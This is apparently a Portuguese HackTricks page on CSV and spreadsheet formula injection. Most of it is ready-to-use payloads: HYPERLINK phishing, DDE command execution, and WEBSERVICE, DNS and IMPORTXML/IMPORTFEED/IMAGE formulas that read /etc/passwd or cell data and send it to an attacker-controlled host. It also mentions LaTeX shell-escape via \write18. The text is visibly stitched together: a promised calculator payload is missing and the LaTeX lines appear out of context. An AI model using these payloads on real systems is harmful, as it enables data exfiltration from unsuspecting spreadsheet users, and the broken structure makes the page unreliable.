Aprenda e pratique Hacking AWS:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Se sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de colocar **fórmulas** do Excel que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do excel.
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo for carregado de fora do Excel** para impedi-lo de ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
**O seguinte exemplo é muito útil para exfiltrar conteúdo da planilha final do excel e para realizar requisições a locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos).**
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Estudantes sendo explorada através de um ataque de injeção CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
* O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
* O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e a segurança dos alunos e da instituição.
Em configurações específicas ou versões mais antigas do Excel, um recurso chamado Dynamic Data Exchange (DDE) pode ser explorado para executar comandos arbitrários. Para aproveitar isso, as seguintes configurações devem ser habilitadas:
* Navegue até Arquivo → Opções → Central de Confiabilidade → Configurações da Central de Confiabilidade → Conteúdo Externo, e habilite **Lançamento do Servidor de Troca de Dados Dinâmicos**.
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo de calculadora, o payload seria:
* Lendo a primeira linha do arquivo local `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Exfiltrando os dados lidos para um servidor controlado pelo atacante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrando mais de uma linha: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltração DNS (enviando dados lidos como consultas DNS para um servidor DNS controlado pelo atacante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
* **IMPORTXML**: Importa dados de tipos de dados estruturados - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importa feeds RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importa dados de tabelas ou listas HTML - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importa um intervalo de células de outra planilha - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Insere uma imagem em uma célula - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
* **`--shell-restricted`**: Mesmo que `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos** \*\*predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** o construto `\write18{command}`. O comando pode ser qualquer comando de shell. Este construto normalmente é desabilitado por razões de segurança.
Aprenda e pratique Hacking AWS:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.